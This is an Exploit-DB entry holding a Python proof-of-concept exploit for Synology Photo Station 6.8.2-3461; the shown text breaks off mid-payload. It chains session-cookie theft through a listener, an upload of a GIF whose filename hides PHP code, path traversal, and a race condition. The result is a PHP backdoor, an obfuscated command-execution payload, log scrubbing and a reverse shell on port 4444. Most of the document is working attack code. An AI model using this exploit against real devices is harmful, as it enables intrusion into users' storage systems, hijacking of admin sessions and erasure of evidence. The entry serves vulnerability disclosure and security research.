Exploit-DB #43609
Description: Synology Photo Station 6.8.2-3461 - 'SYNOPHOTO_Flickr_MultiUpload' Race Condition File Write Remote Code Execution
Type: remote
Platform: hardware
Date: 2018-01-15
Author: mr_me

Exploit:
#!/usr/local/bin/python
"""
Synology Photo Station <= 6.8.2-3461 (latest) SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability
Found by: mr_me
Tested: 6.8.2-3461 (latest at the time)
Vendor Advisory: https://www.synology.com/en-global/support/security/Synology_SA_18_02

# Summary:
==========

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Synology Photo Station. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.
The specific flaw exists within the SYNOPHOTO_Flickr_MultiUpload function. When parsing the prog_id parameter, the process does not properly validate a user-supplied string before using it to execute a call to file_put_contents. An attacker can leverage this vulnerability to execute code under the context of the PhotoStation user.

# Example:
==========

saturn:synology mr_me$ ./sinology.py 192.168.100.9 en0

    Synology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability
    mr_me

(+) waiting for the admin...
(+) stolen: qt4obchbqfss2ap9ct9nb1i534
(+) updated the settings!
(+) wrote php code!
(+) attempting race condition...
(+) won the race!
(+) rce is proven!
(+) deleted the image and scrubbed the logs!
(+) starting handler on port 4444
(+) connection from 192.168.100.9
(+) pop thy shell!
id
uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)
"""

import sys
import socket
import requests
import telnetlib
from threading import Thread
from base64 import b64encode as b64e
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

try:
    import netifaces as ni
except:
    print "(-) try 'pip install netifaces'"
    sys.exit(1)

# haven't pwned yet
pwned = False

class xss(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        global s

        # incase the referer isn't set, its coming from someone else
        try:
            referer = self.headers.get('Referer')
        except:
            referer = ""

        # of course this isn't bullet proof, but its enough for a poc
        if t in referer:
            if "PHPSESSID" in self.path:
                s = self.path.split("=")[1]
                print "(+) stolen: %s" % s
                pwned = True
                self.send_response(200)
                self.end_headers()
        return

def _build_bd(raw=False):
    php = "<?php file_put_contents('si.php','<?php eval(base64_decode($_SERVER[HTTP_SIN]));');die('done'); ?>.gif"
    if raw == True:
        return php
    return "photo_2f_%s" % (php.encode("hex"))

def we_can_set_settings(target, session):
    uri = "http://%s/photo/admin/share_setting.php" % target
    d = {
        "action" : "set_setting",
        "social_flickr" : "on",
        "share_upload_orig" : "on"
    }
    c = { "PHPSESSID" : session }
    r = requests.post(uri, data=d, cookies=c).json()
    if "success" in r:
        if r["success"] == True:
            return True
    return False

def we_can_upload(target, session):
    uri = "http://%s/photo/webapi/file.php" % (target)
    p = { "SynoToken" : session }
    c = { "PHPSESSID" : session }

    # valid gif, important
    gif  = "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x00"
    gif += "\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c"
    gif += "\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02"
    f = { "original": ("si.gif", gif) }
    d = {
        "api": "SYNO.PhotoStation.File", 
        "method" : "uploadphoto",
        "version" : 1,
        "dest_folder_path": "",
        "duplicate" : "rename",
        "mtime": "[PII_REDACTED]87",
        "filename" : _build_bd(True)
    }
    r = requests.post(uri, params=p, files=f, cookies=c, data=d).json()
    if "success" in r:
        if r["success"] == True:
            return True
    return False

def race(target):
    r = ""
    while("done" not in r):
        r = requests.get("http://%s/photo/pwn.php" % target).text
    return True 

def we_won_race(target, session, racing_thread):
    while(racing_thread.isAlive()):
        uri = "http://%s/photo/SocialNetwork/flickr.php" % target
        d = {
            "prog_id" : "../../volume1/@appstore/PhotoStation/photo/pwn.php",
            "action" : "multi_upload",
            "token" : 1,
            "secret" : "",
            "photoList" : _build_bd()
        }
        c = { "PHPSESSID": session }
        requests.post(uri, cookies=c, data=d)
    return True

def build_php_code():
    phpkode  = ("""
    @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
    phpkode += ("""$dis=@ini_get('disable_functions');""")
    phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
    phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
    phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
    phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
    phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
    phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
    phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
    phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
    phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
    phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
    phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
    phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
    phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(